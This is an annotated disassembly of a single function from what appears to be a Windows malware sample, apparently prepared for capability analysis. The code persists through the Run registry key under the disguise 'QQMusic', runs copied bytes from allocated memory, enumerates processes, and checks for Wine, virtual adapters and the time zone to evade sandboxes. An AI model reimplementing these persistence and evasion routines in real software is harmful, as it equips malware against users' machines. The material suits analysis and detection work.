Function at 0x140002240
Capabilities:
Check if process is running under wine
Enumerate processes
Get mac address on windows
Persist via run registry key
Read file on windows
Read file via mapping
Set registry value
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x5d0]
sub rsp, 0x6d0
mov rax, qword [0x140008008]
xor rax, rsp
mov qword [rbp + 0x5c0], rax
mov r8d, 0x104
lea rdx, [rbp + 0x3b0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor r14d, r14d
mov qword [rsp + 0x70], r14
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], 7
mov word [rsp + 0x70], r14w
lea rax, [rbp + 0x3b0]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp word [rax + r8*2], r14w
jne 0x1400022b5
lea rdx, [rbp + 0x3b0]
lea rcx, [rsp + 0x70]
call fcn.140002880
nop
lea rbx, [rsp + 0x70]
cmp qword [rbp - 0x78], 8
cmovae rbx, qword [rsp + 0x70]
mov ecx, pe_nt_image_headers64
call fcn.140003600
mov rsi, rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], pe_nt_image_headers64
mov qword [rsp + 0x20], rax
mov r9d, edi
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jle 0x14000232a
mov rdx, rsi
lea rcx, [0x1400057cc]
call fcn.140001010
jmp 0x14000233e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error:__d_n
call fcn.140001010
mov rcx, rsi
call fcn.140003320
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400023a9
inc rdi
cmp byte [rsi + rdi], 0
jne 0x140002371
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
lea rdx, str.QQMusic
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movups xmm0, xmmword [0x140005738]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x140005748]
movups xmmword [rbp - 0x70], xmm0
movups xmm0, xmmword [0x140005758]
movups xmmword [rsp + 0x50], xmm0
movzx ebx, word [0x140005768]
mov edx, gethostbyname
xor ecx, ecx
lea r9d, [rdx + 0xe]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rbp - 0x70]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rax + 0x20], xmm0
mov word [rax + 0x30], bx
call rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rbx, rax
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 2]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rsi, rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rdi, rax
test rax, rax
je 0x14000248a
mov dword [rsp + 0x40], r14d
nop word [rax + rax]
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x40]
mov r8d, 0x400
lea rdx, [rbp - 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140002460
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x70]
call fcn.140001690
nop
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x50]
call fcn.1400014a0
nop
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rcx, qword [rsp + 0x50]
call fcn.140001230
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x14000250c
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002507
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002507
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003320
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], send
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x14000255d
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002558
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002558
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003320
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
xor edx, edx
div rbx
sub ebx, edx
mov eax, 0x10624dd3
mul ebx
shr edx, 6
lea rcx, str.System_uptime:__u_seconds_n
call fcn.140001010
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
mov dword [rbp - 0x50], 0x238
lea rdx, [rbp - 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400025c1
nop
lea rdx, [rbp - 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400025b0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x1f90
xor ecx, ecx
mov r9d, pe_nt_image_headers64
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x1400025f9
mov rdx, rax
lea rcx, str.PAGE_GUARD_page_created_at_address__p_n
call fcn.140001010
jmp 0x140002605
lea rcx, str.Failed_to_create_PAGE_GUARD_page_n
call fcn.140001010
mov dword [rsp + 0x40], 0x2c0
mov ecx, 0x2c0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
cmp eax, 0x6f
jne 0x140002652
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x1400026b3
mov rbx, rdi
test rdi, rdi
je 0x1400026b3
nop
lea rdx, [rbx + 0xc]
lea rcx, str.Adapter_Name:__s_n
call fcn.140001010
lea rdx, [rbx + 0x110]
lea rcx, str.Adapter_Desc:__s_n
call fcn.140001010
lea rdx, [rbx + 0x198]
lea rcx, str.Adapter_Addr:__s_n
call fcn.140001010
cmp dword [rbx + 0x1a4], 0x18
jne 0x1400026ab
lea rcx, str.This_is_a_virtual_adapter._n
call fcn.140001010
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140002660
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.SoftwareWine
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400026f0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
test eax, eax
jne 0x140002717
lea rcx, str.Unknown_timezone_n
call fcn.140001010
jmp 0x140002727
lea rdx, [rbp - 0x4c]
lea rcx, str.Timezone:__s_n
call fcn.140001010
mov ecx, 0x13880
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 8
jb 0x140002777
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002772
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002772
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003320
xor eax, eax
mov rcx, qword [rbp + 0x5c0]
xor rcx, rsp
call fcn.140003300
lea r11, [rsp + 0x6d0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret